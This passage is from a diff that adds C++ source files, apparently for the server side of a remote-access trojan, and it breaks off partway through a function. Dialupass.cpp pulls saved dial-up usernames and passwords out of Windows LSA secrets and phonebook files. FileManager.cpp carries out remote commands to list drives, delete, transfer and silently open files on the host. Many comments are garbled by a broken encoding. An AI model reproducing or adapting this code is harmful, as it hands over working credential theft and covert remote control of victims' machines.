|
||||
BOOL Insert(PBYTE pData, UINT nSize);
|
||||
|
||||
void Copy(CBuffer& buffer);
|
||||
|
||||
PBYTE GetBuffer(UINT nPos=0);
|
||||
|
||||
CBuffer();
|
||||
virtual ~CBuffer();
|
||||
private:
|
||||
CRITICAL_SECTION m_cs;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)
|
||||
320
CcMainDll/CcMainDll/common/Dialupass.cpp
Normal file
320
CcMainDll/CcMainDll/common/Dialupass.cpp
Normal file
@@ -0,0 +1,320 @@
|
||||
// Dialupass.cpp: implementation of the CDialupass class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "Dialupass.h"
|
||||
#include "until.h"
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CDialupass::CDialupass()
|
||||
{
|
||||
m_nMax = 0;
|
||||
m_lpCurrentUser = GetCurrentLoginUser();
|
||||
m_nRasCount = GetRasEntryCount();
|
||||
m_PassWords = new PASSWORDS[m_nRasCount];
|
||||
OneInfo = new COneInfo* [m_nRasCount];
|
||||
m_nUsed = 0;
|
||||
m_nCount = 0;
|
||||
GetRasEntries();
|
||||
}
|
||||
|
||||
CDialupass::~CDialupass()
|
||||
{
|
||||
for(int i=0; i<m_nRasCount; i++)
|
||||
delete OneInfo[i];
|
||||
delete m_PassWords;
|
||||
if (!m_lpCurrentUser)
|
||||
delete m_lpCurrentUser;
|
||||
}
|
||||
|
||||
DWORD CDialupass::GetRasEntryCount()
|
||||
{
|
||||
int nCount = 0;
|
||||
char *lpPhoneBook[2];
|
||||
char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
|
||||
GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
|
||||
lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
|
||||
lstrcat(szPhoneBook1, m_lpCurrentUser);
|
||||
lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
|
||||
SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
|
||||
wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
|
||||
|
||||
lpPhoneBook[0] = szPhoneBook1;
|
||||
lpPhoneBook[1] = szPhoneBook2;
|
||||
|
||||
DWORD nSize = 1024 * 4;
|
||||
char *lpszReturnBuffer = new char[nSize];
|
||||
|
||||
for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
|
||||
{
|
||||
memset(lpszReturnBuffer, 0, nSize);
|
||||
GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
|
||||
for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
|
||||
{
|
||||
nCount++;
|
||||
}
|
||||
}
|
||||
delete lpszReturnBuffer;
|
||||
return nCount;
|
||||
}
|
||||
|
||||
LPTSTR CDialupass::GetLocalSid()
|
||||
{
|
||||
union
|
||||
{
|
||||
SID s;
|
||||
char c[256];
|
||||
}Sid;
|
||||
DWORD sizeSid=sizeof(Sid);
|
||||
char DomainName[256];
|
||||
DWORD sizeDomainName=sizeof(DomainName);
|
||||
SID_NAME_USE peUse;
|
||||
LPSTR pSid;
|
||||
|
||||
|
||||
if (m_lpCurrentUser == NULL)
|
||||
return NULL;
|
||||
|
||||
if(!LookupAccountName(NULL,m_lpCurrentUser,(SID*)&Sid,&sizeSid,DomainName,&sizeDomainName,&peUse))return NULL;
|
||||
if(!IsValidSid(&Sid))return NULL;
|
||||
|
||||
|
||||
typedef BOOL (WINAPI *ConvertSid2StringSid)(PSID , LPTSTR *);
|
||||
ConvertSid2StringSid proc;
|
||||
HINSTANCE hLibrary = LoadLibrary("advapi32.dll");
|
||||
proc = (ConvertSid2StringSid) GetProcAddress(hLibrary, "ConvertSidToStringSidA");
|
||||
if(proc) proc((SID*)&Sid.s,&pSid);
|
||||
FreeLibrary(hLibrary);
|
||||
return pSid;
|
||||
}
|
||||
|
||||
|
||||
void CDialupass::AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa)
|
||||
{
|
||||
lsa->Length=lstrlen(AValue)*2;
|
||||
lsa->MaximumLength=lsa->Length+2;
|
||||
lsa->Buffer=(PWSTR)malloc(lsa->MaximumLength);
|
||||
MultiByteToWideChar(NULL,NULL,(LPCSTR)AValue,lstrlen(AValue),lsa->Buffer,lsa->MaximumLength);
|
||||
}
|
||||
|
||||
|
||||
PLSA_UNICODE_STRING CDialupass::GetLsaData(LPSTR KeyName)
|
||||
{
|
||||
LSA_OBJECT_ATTRIBUTES LsaObjectAttribs;
|
||||
LSA_HANDLE LsaHandle;
|
||||
LSA_UNICODE_STRING LsaKeyName;
|
||||
NTSTATUS nts;
|
||||
PLSA_UNICODE_STRING OutData;
|
||||
|
||||
ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs));
|
||||
nts=LsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_GET_PRIVATE_INFORMATION,&LsaHandle);
|
||||
if(nts!=0)return NULL;
|
||||
AnsiStringToLsaStr(KeyName, &LsaKeyName);
|
||||
nts=LsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData);
|
||||
if(nts!=0)return NULL;
|
||||
nts=LsaClose(LsaHandle);
|
||||
if(nts!=0)return NULL;
|
||||
return OutData;
|
||||
}
|
||||
/////////
|
||||
void CDialupass::ParseLsaBuffer(LPCWSTR Buffer,USHORT Length)
|
||||
{
|
||||
char AnsiPsw[1024];
|
||||
char chr,PswStr[256];
|
||||
PswStr[0]=0;
|
||||
WideCharToMultiByte(0,NULL,Buffer,Length,AnsiPsw,1024,0,0);
|
||||
|
||||
for(int i=0,SpacePos=0,TXT=0;i<Length/2-2;i++)
|
||||
{
|
||||
chr=AnsiPsw[i];
|
||||
if(chr==0)
|
||||
{
|
||||
SpacePos++;
|
||||
switch(SpacePos)
|
||||
{
|
||||
case 1:
|
||||
PswStr[TXT]=chr;
|
||||
strcpy(m_PassWords[m_nUsed].UID,PswStr);
|
||||
break;
|
||||
case 6:
|
||||
PswStr[TXT]=chr;
|
||||
strcpy(m_PassWords[m_nUsed].login,PswStr);
|
||||
break;
|
||||
case 7:
|
||||
PswStr[TXT]=chr;
|
||||
strcpy(m_PassWords[m_nUsed].pass,PswStr);
|
||||
m_PassWords[m_nUsed].used=false;
|
||||
m_nUsed++;
|
||||
break;
|
||||
}
|
||||
ZeroMemory(PswStr,256);
|
||||
TXT=0;
|
||||
}
|
||||
else
|
||||
{
|
||||
PswStr[TXT]=chr;
|
||||
TXT++;
|
||||
}
|
||||
if(SpacePos==9)SpacePos=0;
|
||||
}
|
||||
}
|
||||
///////////
|
||||
void CDialupass::GetLsaPasswords()
|
||||
{
|
||||
PLSA_UNICODE_STRING PrivateData;
|
||||
char Win2k[]="RasDialParams!%s#0";
|
||||
char WinXP[]="L$_RasDefaultCredentials#0";
|
||||
char temp[256];
|
||||
|
||||
wsprintf(temp,Win2k,GetLocalSid());
|
||||
|
||||
PrivateData=GetLsaData(temp);
|
||||
if(PrivateData!=NULL)
|
||||
{
|
||||
ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
|
||||
LsaFreeMemory(PrivateData->Buffer);
|
||||
}
|
||||
|
||||
PrivateData=GetLsaData(WinXP);
|
||||
if(PrivateData!=NULL)
|
||||
{
|
||||
ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
|
||||
LsaFreeMemory(PrivateData->Buffer);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
bool CDialupass::GetRasEntries()
|
||||
{
|
||||
|
||||
int nCount = 0;
|
||||
char *lpPhoneBook[2];
|
||||
char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
|
||||
GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
|
||||
lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
|
||||
lstrcat(szPhoneBook1, m_lpCurrentUser);
|
||||
lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
|
||||
SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
|
||||
wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
|
||||
|
||||
lpPhoneBook[0] = szPhoneBook1;
|
||||
lpPhoneBook[1] = szPhoneBook2;
|
||||
|
||||
|
||||
OSVERSIONINFO osi;
|
||||
osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
|
||||
GetVersionEx(&osi);
|
||||
|
||||
if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5)
|
||||
{
|
||||
GetLsaPasswords();
|
||||
}
|
||||
|
||||
DWORD nSize = 1024 * 4;
|
||||
char *lpszReturnBuffer = new char[nSize];
|
||||
|
||||
for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
|
||||
{
|
||||
memset(lpszReturnBuffer, 0, nSize);
|
||||
GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
|
||||
for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
|
||||
{
|
||||
char *lpRealSection = (char *)UTF8ToGB2312(lpSection);
|
||||
char strDialParamsUID[256];
|
||||
char strUserName[256];
|
||||
char strPassWord[256];
|
||||
char strPhoneNumber[256];
|
||||
char strDevice[256];
|
||||
memset(strDialParamsUID, 0, sizeof(strDialParamsUID));
|
||||
memset(strUserName, 0, sizeof(strUserName));
|
||||
memset(strPassWord, 0, sizeof(strPassWord));
|
||||
memset(strPhoneNumber, 0, sizeof(strPhoneNumber));
|
||||
memset(strDevice, 0, sizeof(strDevice));
|
||||
|
||||
|
||||
int nBufferLen = GetPrivateProfileString(lpSection, "DialParamsUID", 0,
|
||||
strDialParamsUID, sizeof(strDialParamsUID), lpPhoneBook[i]);
|
||||
|
||||
if (nBufferLen > 0)//DialParamsUID=4326020 198064
|
||||
{
|
||||
for(int j=0; j< (int)m_nRasCount; j++)
|
||||
{
|
||||
if(lstrcmp(strDialParamsUID, m_PassWords[j].UID)==0)
|
||||
{
|
||||
lstrcpy(strUserName, m_PassWords[j].login);
|
||||
lstrcpy(strPassWord, m_PassWords[j].pass);
|
||||
m_PassWords[j].used=true;
|
||||
m_nUsed++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
GetPrivateProfileString(lpSection, "PhoneNumber", 0,
|
||||
strPhoneNumber, sizeof(strDialParamsUID), lpPhoneBook[i]);
|
||||
GetPrivateProfileString(lpSection, "Device", 0,
|
||||
strDevice, sizeof(strDialParamsUID), lpPhoneBook[i]);
|
||||
char *lpRealDevice = (char *)UTF8ToGB2312(strDevice);
|
||||
char *lpRealUserName = (char *)UTF8ToGB2312(strUserName);
|
||||
Set(strDialParamsUID, lpRealSection, lpRealUserName, strPassWord,
|
||||
strPhoneNumber, lpRealDevice);
|
||||
delete lpRealSection;
|
||||
delete lpRealUserName;
|
||||
delete lpRealDevice;
|
||||
}
|
||||
}
|
||||
delete lpszReturnBuffer;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL CDialupass::Set(char *DialParamsUID, char *Name,char *User,char *Password,char *PhoneNumber, char *Device)
|
||||
{
|
||||
for(int i=0; i<m_nMax; i++){
|
||||
if(0==strcmp(OneInfo[i]->Get(STR_DialParamsUID), DialParamsUID)){
|
||||
|
||||
if(Name!=NULL)
|
||||
OneInfo[i]->Set(STR_Name,Name);
|
||||
if(User!=NULL)
|
||||
OneInfo[i]->Set(STR_User,User);
|
||||
if(Password!=NULL)
|
||||
OneInfo[i]->Set(STR_Password,Password);
|
||||
if(PhoneNumber!=NULL)
|
||||
OneInfo[i]->Set(STR_PhoneNumber,PhoneNumber);
|
||||
if(Device!=NULL)
|
||||
OneInfo[i]->Set(STR_Device, Device);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
if(m_nMax < m_nRasCount){
|
||||
|
||||
OneInfo[m_nMax] = new COneInfo;
|
||||
OneInfo[m_nMax]->Set(STR_DialParamsUID,DialParamsUID);
|
||||
OneInfo[m_nMax]->Set(STR_Name,Name);
|
||||
OneInfo[m_nMax]->Set(STR_User,User);
|
||||
OneInfo[m_nMax]->Set(STR_Password,Password);
|
||||
OneInfo[m_nMax]->Set(STR_PhoneNumber,PhoneNumber);
|
||||
OneInfo[m_nMax]->Set(STR_Device,Device);
|
||||
m_nMax ++;
|
||||
return TRUE;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
LPCTSTR CDialupass::UTF8ToGB2312(char UTF8Str[])
|
||||
{
|
||||
if (UTF8Str == NULL || lstrlen(UTF8Str) == 0)
|
||||
return "";
|
||||
int nStrLen = lstrlen(UTF8Str) * 2;
|
||||
char *lpWideCharStr = new char[nStrLen];
|
||||
char *lpMultiByteStr = new char[nStrLen];
|
||||
|
||||
MultiByteToWideChar(CP_UTF8, 0, UTF8Str, -1, (LPWSTR)lpWideCharStr, nStrLen);
|
||||
WideCharToMultiByte(CP_ACP, 0, (LPWSTR)lpWideCharStr, -1, lpMultiByteStr, nStrLen, 0, 0);
|
||||
|
||||
delete lpWideCharStr;
|
||||
return lpMultiByteStr;
|
||||
}
|
||||
96
CcMainDll/CcMainDll/common/Dialupass.h
Normal file
96
CcMainDll/CcMainDll/common/Dialupass.h
Normal file
@@ -0,0 +1,96 @@
|
||||
// Dialupass.h: interface for the CDialupass class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_)
|
||||
#define AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include <windows.h>
|
||||
#include <ras.h>
|
||||
#include <raserror.h>
|
||||
#include <shlobj.h>
|
||||
#include <ntsecapi.h>
|
||||
#pragma comment(lib, "rasapi32.lib")
|
||||
|
||||
#define STR_DialParamsUID 0
|
||||
#define STR_Name 1
|
||||
#define STR_User 2
|
||||
#define STR_Password 3
|
||||
#define STR_PhoneNumber 4
|
||||
#define STR_Device 5
|
||||
#define STR_MAX 6
|
||||
|
||||
|
||||
typedef struct
|
||||
{
|
||||
char UID[256];
|
||||
char pass[256];
|
||||
char login[256];
|
||||
bool used;
|
||||
}PASSWORDS, *PPASSWORDS;
|
||||
|
||||
class COneInfo{
|
||||
private:
|
||||
char *Str[STR_MAX];
|
||||
|
||||
public:
|
||||
COneInfo(void)
|
||||
{
|
||||
for(int i=0;i<STR_MAX;i++)
|
||||
Str[i]=NULL;
|
||||
}
|
||||
|
||||
virtual ~COneInfo(void)
|
||||
{
|
||||
for(int i=0;i<STR_MAX;i++){
|
||||
if(Str[i]!=NULL)
|
||||
delete [] Str[i];
|
||||
}
|
||||
}
|
||||
|
||||
void Set(int Kind,char *str)
|
||||
{
|
||||
if(str==NULL)
|
||||
return;
|
||||
if(Str[Kind]!=NULL){
|
||||
delete [] Str[Kind];
|
||||
}
|
||||
Str[Kind] = new char[strlen(str)+1];
|
||||
strcpy(Str[Kind],str);
|
||||
}
|
||||
char * Get(int Kind)
|
||||
{
|
||||
return Str[Kind];
|
||||
}
|
||||
};
|
||||
|
||||
class CDialupass
|
||||
{
|
||||
public:
|
||||
CDialupass();
|
||||
virtual ~CDialupass();
|
||||
int GetMax(void){ return m_nMax;}
|
||||
COneInfo * GetOneInfo(int n){return OneInfo[n];}
|
||||
private:
|
||||
LPCTSTR UTF8ToGB2312(char UTF8Str[]);
|
||||
int m_nMax;
|
||||
int m_nUsed;
|
||||
int m_nCount;
|
||||
int m_nRasCount;
|
||||
char *m_lpCurrentUser;
|
||||
COneInfo **OneInfo;
|
||||
PASSWORDS *m_PassWords;
|
||||
BOOL Set(char *DialParamsUID, char *Name,char *User,char *Password,char *PhoneNumber, char *Device);
|
||||
DWORD GetRasEntryCount();
|
||||
void GetLsaPasswords();
|
||||
void ParseLsaBuffer(LPCWSTR Buffer,USHORT Length);
|
||||
PLSA_UNICODE_STRING GetLsaData(LPSTR KeyName);
|
||||
void AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa);
|
||||
LPTSTR GetLocalSid();
|
||||
bool GetRasEntries();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_)
|
||||
782
CcMainDll/CcMainDll/common/FileManager.cpp
Normal file
782
CcMainDll/CcMainDll/common/FileManager.cpp
Normal file
@@ -0,0 +1,782 @@
|
||||
// FileManager.cpp: implementation of the CFileManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "FileManager.h"
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
}FILESIZE;
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient)
|
||||
{
|
||||
m_nTransferMode = TRANSFER_MODE_NORMAL;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>, <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
SendDriveList();
|
||||
}
|
||||
|
||||
CFileManager::~CFileManager()
|
||||
{
|
||||
m_UploadList.clear();
|
||||
}
|
||||
|
||||
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
case COMMAND_LIST_FILES:// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC>б<EFBFBD>
|
||||
SendFilesList((char *)lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_DELETE_FILE:// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||
DeleteFile((char *)lpBuffer + 1);
|
||||
SendToken(TOKEN_DELETE_FINISH);
|
||||
break;
|
||||
case COMMAND_DELETE_DIRECTORY:// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
||||
////printf("ɾ<><C9BE>Ŀ¼ %s\n", (char *)(bPacket + 1));
|
||||
DeleteDirectory((char *)lpBuffer + 1);
|
||||
SendToken(TOKEN_DELETE_FINISH);
|
||||
break;
|
||||
case COMMAND_DOWN_FILES: // <20>ϴ<EFBFBD><CFB4>ļ<EFBFBD>
|
||||
UploadToRemote(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_CONTINUE: // <20>ϴ<EFBFBD><CFB4>ļ<EFBFBD>
|
||||
SendFileData(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_CREATE_FOLDER:
|
||||
CreateFolder(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_RENAME_FILE:
|
||||
Rename(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_STOP:
|
||||
StopTransfer();
|
||||
break;
|
||||
case COMMAND_SET_TRANSFER_MODE:
|
||||
SetTransferMode(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_FILE_SIZE:
|
||||
CreateLocalRecvFile(lpBuffer + 1);
|
||||
break;
|
||||
case COMMAND_FILE_DATA:
|
||||
WriteLocalRecvFile(lpBuffer + 1, nSize -1);
|
||||
break;
|
||||
case COMMAND_OPEN_FILE_SHOW:
|
||||
OpenFile((char *)lpBuffer + 1, SW_SHOW);
|
||||
break;
|
||||
case COMMAND_OPEN_FILE_HIDE:
|
||||
OpenFile((char *)lpBuffer + 1, SW_HIDE);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
|
||||
{
|
||||
LPTSTR p, pszDirCopy;
|
||||
DWORD dwAttributes;
|
||||
|
||||
// Make a copy of the string for editing.
|
||||
|
||||
__try
|
||||
{
|
||||
pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));
|
||||
|
||||
if(pszDirCopy == NULL)
|
||||
return FALSE;
|
||||
|
||||
lstrcpy(pszDirCopy, pszDirPath);
|
||||
|
||||
p = pszDirCopy;
|
||||
|
||||
// If the second character in the path is "\", then this is a UNC
|
||||
// path, and we should skip forward until we reach the 2nd \ in the path.
|
||||
|
||||
if((*p == TEXT('\\')) && (*(p+1) == TEXT('\\')))
|
||||
{
|
||||
p++; // Skip over the first \ in the name.
|
||||
p++; // Skip over the second \ in the name.
|
||||
|
||||
// Skip until we hit the first "\" (\\Server\).
|
||||
|
||||
while(*p && *p != TEXT('\\'))
|
||||
{
|
||||
p = CharNext(p);
|
||||
}
|
||||
|
||||
// Advance over it.
|
||||
|
||||
if(*p)
|
||||
{
|
||||
p++;
|
||||
}
|
||||
|
||||
// Skip until we hit the second "\" (\\Server\Share\).
|
||||
|
||||
while(*p && *p != TEXT('\\'))
|
||||
{
|
||||
p = CharNext(p);
|
||||
}
|
||||
|
||||
// Advance over it also.
|
||||
|
||||
if(*p)
|
||||
{
|
||||
p++;
|
||||
}
|
||||
|
||||
}
|
||||
else if(*(p+1) == TEXT(':')) // Not a UNC. See if it's <drive>:
|
||||
{
|
||||
p++;
|
||||
p++;
|
||||
|
||||
// If it exists, skip over the root specifier
|
||||
|
||||
if(*p && (*p == TEXT('\\')))
|
||||
{
|
||||
p++;
|
||||
}
|
||||
}
|
||||
|
||||
while(*p)
|
||||
{
|
||||
if(*p == TEXT('\\'))
|
||||
{
|
||||
*p = TEXT('\0');
|
||||
dwAttributes = GetFileAttributes(pszDirCopy);
|
||||
|
||||
// Nothing exists with this name. Try to make the directory name and error if unable to.
|
||||
if(dwAttributes == 0xffffffff)
|
||||
{
|
||||
if(!CreateDirectory(pszDirCopy, NULL))
|
||||
{
|
||||
if(GetLastError() != ERROR_ALREADY_EXISTS)
|
||||
{
|
||||
free(pszDirCopy);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
|
||||
{
|
||||
// Something exists with this name, but it's not a directory... Error
|
||||
free(pszDirCopy);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
*p = TEXT('\\');
|
||||
}
|
||||
|
||||
p = CharNext(p);
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
// SetLastError(GetExceptionCode());
|
||||
free(pszDirCopy);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
free(pszDirCopy);
|
||||
return TRUE;
|
||||
}
|
||||
bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
|
||||
{
|
||||
char lpSubKey[500];
|
||||
HKEY hKey;
|
||||
char strTemp[MAX_PATH];
|
||||
LONG nSize = sizeof(strTemp);
|
||||
char *lpstrCat = NULL;
|
||||
memset(strTemp, 0, sizeof(strTemp));
|
||||
|
||||
const char *lpExt = strrchr(lpFile, '.');
|
||||
if (!lpExt)
|
||||
return false;
|
||||
|
||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
RegQueryValue(hKey, NULL, strTemp, &nSize);
|
||||
RegCloseKey(hKey);
|
||||
memset(lpSubKey, 0, sizeof(lpSubKey));
|
||||
wsprintf(lpSubKey, "%s\\shell\\open\\command", strTemp);
|
||||
|
||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
memset(strTemp, 0, sizeof(strTemp));
|
||||
nSize = sizeof(strTemp);
|
||||
RegQueryValue(hKey, NULL, strTemp, &nSize);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
lpstrCat = strstr(strTemp, "\"%1");
|
||||
if (lpstrCat == NULL)
|
||||
lpstrCat = strstr(strTemp, "%1");
|
||||
|
||||
if (lpstrCat == NULL)
|
||||
{
|
||||
lstrcat(strTemp, " ");
|
||||
lstrcat(strTemp, lpFile);
|
||||
}
|
||||
else
|
||||
lstrcpy(lpstrCat, lpFile);
|
||||
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi;
|
||||
char local_lpDesktop[] = "WinSta0\\Default";
|
||||
si.cb = sizeof si;
|
||||
if (nShowCmd != SW_HIDE)
|
||||
si.lpDesktop = local_lpDesktop;
|
||||
|
||||
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||
}
|
||||
UINT CFileManager::SendDriveList()
|
||||
{
|
||||
char DriveString[256];
|
||||
// ǰһ<C7B0><D2BB><EFBFBD>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>52<35>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BYTE DriveList[1024];
|
||||
char FileSystem[MAX_PATH];
|
||||
char *pDrive = NULL;
|
||||
DriveList[0] = TOKEN_DRIVE_LIST; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
GetLogicalDriveStrings(sizeof(DriveString), DriveString);
|
||||
pDrive = DriveString;
|
||||
|
||||
unsigned __int64 HDAmount = 0;
|
||||
unsigned __int64 HDFreeSpace = 0;
|
||||
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
|
||||
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
||||
DWORD dwOffset = 0;
|
||||
for (dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
|
||||
{
|
||||
memset(FileSystem, 0, sizeof(FileSystem));
|
||||
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
|
||||
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
|
||||
SHFILEINFO sfi;
|
||||
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||
|
||||
int nTypeNameLen = lstrlen(sfi.szTypeName) + 1;
|
||||
int nFileSystemLen = lstrlen(FileSystem) + 1;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>С
|
||||
if (pDrive[0] != 'A' && pDrive[0] != 'B' && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL))
|
||||
{
|
||||
AmntMB = HDAmount / 1024 / 1024;
|
||||
FreeMB = HDFreeSpace / 1024 / 1024;
|
||||
}
|
||||
else
|
||||
{
|
||||
AmntMB = 0;
|
||||
FreeMB = 0;
|
||||
}
|
||||
// <20><>ʼ<EFBFBD><CABC>ֵ
|
||||
DriveList[dwOffset] = pDrive[0];
|
||||
DriveList[dwOffset + 1] = GetDriveType(pDrive);
|
||||
|
||||
|
||||
// <20><><EFBFBD>̿ռ<CCBF><D5BC><EFBFBD><EFBFBD><EFBFBD>ռȥ<D5BC><C8A5>8<EFBFBD>ֽ<EFBFBD>
|
||||
memcpy(DriveList + dwOffset + 2, &AmntMB, sizeof(unsigned long));
|
||||
memcpy(DriveList + dwOffset + 6, &FreeMB, sizeof(unsigned long));
|
||||
|
||||
// <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
memcpy(DriveList + dwOffset + 10, sfi.szTypeName, nTypeNameLen);
|
||||
memcpy(DriveList + dwOffset + 10 + nTypeNameLen, FileSystem, nFileSystemLen);
|
||||
|
||||
dwOffset += 10 + nTypeNameLen + nFileSystemLen;
|
||||
}
|
||||
|
||||
return Send((LPBYTE)DriveList, dwOffset);
|
||||
}
|
||||
|
||||
|
||||
UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
|
||||
{
|
||||
// <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
|
||||
m_nTransferMode = TRANSFER_MODE_NORMAL;
|
||||
|
||||
UINT nRet = 0;
|
||||
char strPath[MAX_PATH];
|
||||
